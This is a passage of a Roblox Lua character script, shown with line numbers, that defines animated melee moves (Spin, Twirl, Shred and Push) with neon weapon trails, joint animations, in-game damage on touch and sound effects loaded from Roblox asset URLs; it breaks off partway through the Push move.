  3823. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3824. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3825. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3826. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3827. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3828. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3829. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3830. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3831. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3832. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3833. end
  3834. end
  3835. swait(20)
  3836. Humanoid.WalkSpeed = 12
  3837. --dmgstop()
  3838. attack=false
  3839. end
  3840. end
  3841.  
  3842. function Spin()
  3843. attack=true
  3844. mana=mana-40
  3845. if TrailDeb == false then
  3846. TrailDeb = true
  3847. end
  3848.  
  3849. coroutine.wrap(function()
  3850. local Old = Handle2.CFrame.p
  3851. while wait()do
  3852. if not TrailDeb then break end
  3853. local New = Handle2.CFrame.p
  3854. local Mag =(Old -New).magnitude
  3855. local Dis =(Old +New)/2
  3856. local Trail = Instance.new("Part",Character)
  3857. Trail.Material = "Neon"
  3858. Trail.Anchored = true
  3859. Trail.CanCollide = false
  3860. Trail.BrickColor = TorsoColor
  3861. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3862. Trail.TopSurface = 0
  3863. Trail.BottomSurface = 0
  3864. Trail.formFactor = "Custom"
  3865. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3866. local ms = Instance.new("BlockMesh",Trail)
  3867. ms.Scale = Vector3.new(1,1,1)
  3868. local TM = Instance.new("CylinderMesh",Trail)
  3869. TM.Scale = Vector3.new(1,1,1)
  3870. Old = New
  3871. coroutine.wrap(function()
  3872. for i = 1,0,-0.1 do
  3873. wait()
  3874. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3875. end
  3876. Trail:remove()
  3877. end)()
  3878. coroutine.wrap(function()
  3879. for i = 1,10 do
  3880. wait()
  3881. Trail.Transparency = Trail.Transparency +0.1
  3882. end end)()end end)()
  3883. coroutine.wrap(function()
  3884. local Old = Handle.CFrame.p
  3885. while wait()do
  3886. if not TrailDeb then break end
  3887. local New = Handle.CFrame.p
  3888. local Mag =(Old -New).magnitude
  3889. local Dis =(Old +New)/2
  3890. local Trail = Instance.new("Part",Character)
  3891. Trail.Material = "Neon"
  3892. Trail.Anchored = true
  3893. Trail.CanCollide = false
  3894. Trail.BrickColor = TorsoColor
  3895. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3896. Trail.TopSurface = 0
  3897. Trail.BottomSurface = 0
  3898. Trail.formFactor = "Custom"
  3899. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3900. local ms = Instance.new("BlockMesh",Trail)
  3901. ms.Scale = Vector3.new(1,1,1)
  3902. local TM = Instance.new("CylinderMesh",Trail)
  3903. TM.Scale = Vector3.new(1,1,1)
  3904. Old = New
  3905. coroutine.wrap(function()
  3906. for i = 1,0,-0.1 do
  3907. wait()
  3908. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3909. end
  3910. Trail:remove()
  3911. end)()
  3912. coroutine.wrap(function()
  3913. for i = 1,10 do
  3914. wait()
  3915. Trail.Transparency = Trail.Transparency +0.1
  3916. end end)()end end)()
  3917. Footsteps:Stop()
  3918. Footsteps2:Stop()
  3919. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3920. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3921. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3922. for i=0,1,0.1 do
  3923. swait()
  3924. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3925. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3926. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3927. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3928. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3929. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3930. end
  3931. if anim then
  3932. anim.Disabled=true
  3933. end
  3934. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3935. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3936. for i=0,1,0.05 do
  3937. swait()
  3938. Torso.Velocity=RootPart.CFrame.lookVector*100
  3939. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3940. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3941. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3942. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3943. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3944. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3945. end
  3946. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3947. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3948. for i=0,1,0.05 do
  3949. swait()
  3950. Torso.Velocity=RootPart.CFrame.lookVector*100
  3951. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3952. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3953. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3954. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3955. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3956. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3957. end
  3958. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3959. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3960. for i=0,1,0.05 do
  3961. swait()
  3962. Torso.Velocity=RootPart.CFrame.lookVector*100
  3963. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3964. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3965. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3966. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3967. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3968. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3969. end
  3970. --dmgstop()
  3971. Humanoid.WalkSpeed=12
  3972. attack=false
  3973. con1:disconnect()
  3974. con2:disconnect()
  3975. if anim then
  3976. anim.Disabled=false
  3977. end
  3978. if TrailDeb == true then
  3979. TrailDeb = false
  3980. end
  3981. end
  3982.  
  3983. function Twirl()
  3984. mana=mana-50
  3985. attack=true
  3986. if TrailDeb == false then
  3987. TrailDeb = true
  3988. end
  3989.  
  3990.  
  3991. coroutine.wrap(function()
  3992. local Old = Handle2.CFrame.p
  3993. while wait()do
  3994. if not TrailDeb then break end
  3995. local New = Handle2.CFrame.p
  3996. local Mag =(Old -New).magnitude
  3997. local Dis =(Old +New)/2
  3998. local Trail = Instance.new("Part",Character)
  3999. Trail.Material = "Neon"
  4000. Trail.Anchored = true
  4001. Trail.CanCollide = false
  4002. Trail.BrickColor = TorsoColor
  4003. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4004. Trail.TopSurface = 0
  4005. Trail.BottomSurface = 0
  4006. Trail.formFactor = "Custom"
  4007. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4008. local ms = Instance.new("BlockMesh",Trail)
  4009. ms.Scale = Vector3.new(1,1,1)
  4010. local TM = Instance.new("CylinderMesh",Trail)
  4011. TM.Scale = Vector3.new(1,1,1)
  4012. Old = New
  4013. coroutine.wrap(function()
  4014. for i = 1,0,-0.1 do
  4015. wait()
  4016. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4017. end
  4018. Trail:remove()
  4019. end)()
  4020. coroutine.wrap(function()
  4021. for i = 1,10 do
  4022. wait()
  4023. Trail.Transparency = Trail.Transparency +0.1
  4024. end end)()end end)()
  4025. coroutine.wrap(function()
  4026. local Old = Handle.CFrame.p
  4027. while wait()do
  4028. if not TrailDeb then break end
  4029. local New = Handle.CFrame.p
  4030. local Mag =(Old -New).magnitude
  4031. local Dis =(Old +New)/2
  4032. local Trail = Instance.new("Part",Character)
  4033. Trail.Material = "Neon"
  4034. Trail.Anchored = true
  4035. Trail.CanCollide = false
  4036. Trail.BrickColor = TorsoColor
  4037. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4038. Trail.TopSurface = 0
  4039. Trail.BottomSurface = 0
  4040. Trail.formFactor = "Custom"
  4041. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4042. local ms = Instance.new("BlockMesh",Trail)
  4043. ms.Scale = Vector3.new(1,1,1)
  4044. local TM = Instance.new("CylinderMesh",Trail)
  4045. TM.Scale = Vector3.new(1,1,1)
  4046. Old = New
  4047. coroutine.wrap(function()
  4048. for i = 1,0,-0.1 do
  4049. wait()
  4050. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4051. end
  4052. Trail:remove()
  4053. end)()
  4054. coroutine.wrap(function()
  4055. for i = 1,10 do
  4056. wait()
  4057. Trail.Transparency = Trail.Transparency +0.1
  4058. end end)()end end)()
  4059. Footsteps:Stop()
  4060. Footsteps2:Stop()
  4061. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4062. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4063. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  4064. for i=0,1,0.1 do
  4065. swait()
  4066. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4067. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4068. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4069. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4070. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4071. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4072. end
  4073. if anim then
  4074. anim.Disabled=true
  4075. end
  4076. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4077. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4078. for i=0,1,0.05 do
  4079. swait()
  4080. Torso.Velocity=RootPart.CFrame.lookVector*80
  4081. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4082. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4083. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4084. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4085. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4086. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4087. end
  4088. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4089. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4090. for i=0,1,0.05 do
  4091. swait()
  4092. Torso.Velocity=RootPart.CFrame.lookVector*80
  4093. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4094. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4095. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4096. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4097. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4098. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4099. end
  4100. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4101. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4102. for i=0,1,0.05 do
  4103. swait()
  4104. Torso.Velocity=RootPart.CFrame.lookVector*80
  4105. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4106. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4107. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4108. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4109. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4110. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4111. end
  4112. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4113. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4114. for i=0,1,0.05 do
  4115. swait()
  4116. Torso.Velocity=RootPart.CFrame.lookVector*80
  4117. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4118. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4119. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4120. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4121. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4122. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4123. end
  4124. --dmgstop()
  4125. Humanoid.WalkSpeed=12
  4126. attack=false
  4127. con1:disconnect()
  4128. con2:disconnect()
  4129. if anim then
  4130. anim.Disabled=false
  4131. end
  4132. if TrailDeb == true then
  4133. TrailDeb = false
  4134. end
  4135. end
  4136.  
  4137. function Shred()
  4138. attack=true
  4139. mana=mana-100
  4140. if TrailDeb == false then
  4141. TrailDeb = true
  4142. end
  4143.  
  4144.  
  4145. coroutine.wrap(function()
  4146. local Old = Handle2.CFrame.p
  4147. while wait()do
  4148. if not TrailDeb then break end
  4149. local New = Handle2.CFrame.p
  4150. local Mag =(Old -New).magnitude
  4151. local Dis =(Old +New)/2
  4152. local Trail = Instance.new("Part",Character)
  4153. Trail.Material = "Neon"
  4154. Trail.Anchored = true
  4155. Trail.CanCollide = false
  4156. Trail.BrickColor = TorsoColor
  4157. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4158. Trail.TopSurface = 0
  4159. Trail.BottomSurface = 0
  4160. Trail.formFactor = "Custom"
  4161. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4162. local ms = Instance.new("BlockMesh",Trail)
  4163. ms.Scale = Vector3.new(1,1,1)
  4164. local TM = Instance.new("CylinderMesh",Trail)
  4165. TM.Scale = Vector3.new(1,1,1)
  4166. Old = New
  4167. coroutine.wrap(function()
  4168. for i = 1,0,-0.1 do
  4169. wait()
  4170. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4171. end
  4172. Trail:remove()
  4173. end)()
  4174. coroutine.wrap(function()
  4175. for i = 1,10 do
  4176. wait()
  4177. Trail.Transparency = Trail.Transparency +0.1
  4178. end end)()end end)()
  4179. coroutine.wrap(function()
  4180. local Old = Handle.CFrame.p
  4181. while wait()do
  4182. if not TrailDeb then break end
  4183. local New = Handle.CFrame.p
  4184. local Mag =(Old -New).magnitude
  4185. local Dis =(Old +New)/2
  4186. local Trail = Instance.new("Part",Character)
  4187. Trail.Material = "Neon"
  4188. Trail.Anchored = true
  4189. Trail.CanCollide = false
  4190. Trail.BrickColor = TorsoColor
  4191. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4192. Trail.TopSurface = 0
  4193. Trail.BottomSurface = 0
  4194. Trail.formFactor = "Custom"
  4195. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4196. local ms = Instance.new("BlockMesh",Trail)
  4197. ms.Scale = Vector3.new(1,1,1)
  4198. local TM = Instance.new("CylinderMesh",Trail)
  4199. TM.Scale = Vector3.new(1,1,1)
  4200. Old = New
  4201. coroutine.wrap(function()
  4202. for i = 1,0,-0.1 do
  4203. wait()
  4204. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4205. end
  4206. Trail:remove()
  4207. end)()
  4208. coroutine.wrap(function()
  4209. for i = 1,10 do
  4210. wait()
  4211. Trail.Transparency = Trail.Transparency +0.1
  4212. end end)()end end)()
  4213. Footsteps:Stop()
  4214. Footsteps2:Stop()
  4215. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4216. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4217. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4218. for i=0,1,0.1 do
  4219. swait()
  4220. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4221. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4222. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4223. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4224. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4225. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4226. end
  4227. if anim then
  4228. anim.Disabled=true
  4229. end
  4230. for i=0,1,0.05 do
  4231. swait()
  4232. Torso.Velocity=RootPart.CFrame.lookVector*20
  4233. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4234. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4235. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4236. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4237. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4238. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4239. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4240. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4241. end
  4242. for i=0,1,0.05 do
  4243. swait()
  4244. Torso.Velocity=RootPart.CFrame.lookVector*40
  4245. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4246. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4247. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4248. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4249. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4250. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4251. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4252. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4253. end
  4254. for i=0,1,0.05 do
  4255. swait()
  4256. Torso.Velocity=RootPart.CFrame.lookVector*60
  4257. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4258. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4259. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4260. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4261. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4262. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4263. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4264. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4265. end
  4266. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4267. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4268. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4269. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4270. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4271. for i=0,1,0.05 do
  4272. swait()
  4273. Torso.Velocity=RootPart.CFrame.lookVector*80
  4274. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4275. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4276. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4277. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4278. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4279. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4280. end
  4281. for i=0,1,0.005 do
  4282. swait()
  4283. Torso.Velocity=RootPart.CFrame.lookVector*100
  4284. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4285. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4286. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4287. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4288. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4289. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4290. end
  4291. --dmgstop()
  4292. Humanoid.WalkSpeed=12
  4293. attack=false
  4294. con1:disconnect()
  4295. con2:disconnect()
  4296. if anim then
  4297. anim.Disabled=false
  4298. end
  4299. if TrailDeb == true then
  4300. TrailDeb = false
  4301. end
  4302. end
  4303.  
  4304. function Push()
  4305. attack=true
  4306. mana=mana-20
  4307. if TrailDeb == false then
  4308. TrailDeb = true
  4309. end
  4310.  
  4311.  
  4312. coroutine.wrap(function()
  4313. local Old = Handle2.CFrame.p
  4314. while wait()do
  4315. if not TrailDeb then break end
  4316. local New = Handle2.CFrame.p
  4317. local Mag =(Old -New).magnitude
  4318. local Dis =(Old +New)/2
  4319. local Trail = Instance.new("Part",Character)
  4320. Trail.Material = "Neon"
  4321. Trail.Anchored = true
  4322. Trail.CanCollide = false
  4323. Trail.BrickColor = TorsoColor
  4324. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4325. Trail.TopSurface = 0
  4326. Trail.BottomSurface = 0
  4327. Trail.formFactor = "Custom"
  4328. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4329. local ms = Instance.new("BlockMesh",Trail)
  4330. ms.Scale = Vector3.new(1,1,1)
  4331. local TM = Instance.new("CylinderMesh",Trail)
  4332. TM.Scale = Vector3.new(1,1,1)
  4333. Old = New
  4334. coroutine.wrap(function()
  4335. for i = 1,0,-0.1 do
  4336. wait()
  4337. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4338. end
  4339. Trail:remove()
  4340. end)()
  4341. coroutine.wrap(function()
  4342. for i = 1,10 do
  4343. wait()
  4344. Trail.Transparency = Trail.Transparency +0.1
  4345. end end)()end end)()
  4346. coroutine.wrap(function()
  4347. local Old = Handle.CFrame.p
  4348. while wait()do
  4349. if not TrailDeb then break end
  4350. local New = Handle.CFrame.p
  4351. local Mag =(Old -New).magnitude
  4352. local Dis =(Old +New)/2
  4353. local Trail = Instance.new("Part",Character)
  4354. Trail.Material = "Neon"
  4355. Trail.Anchored = true
  4356. Trail.CanCollide = false
  4357. Trail.BrickColor = TorsoColor
  4358. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4359. Trail.TopSurface = 0
  4360. Trail.BottomSurface = 0
  4361. Trail.formFactor = "Custom"
  4362. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4363. local ms = Instance.new("BlockMesh",Trail)
  4364. ms.Scale = Vector3.new(1,1,1)
  4365. local TM = Instance.new("CylinderMesh",Trail)
  4366. TM.Scale = Vector3.new(1,1,1)
  4367. Old = New
  4368. coroutine.wrap(function()
  4369. for i = 1,0,-0.1 do
  4370. wait()
  4371. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4372. end
  4373. Trail:remove()
  4374. end)()
  4375. coroutine.wrap(function()
  4376. for i = 1,10 do
  4377. wait()
  4378. Trail.Transparency = Trail.Transparency +0.1
  4379. end end)()end end)()
  4380. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
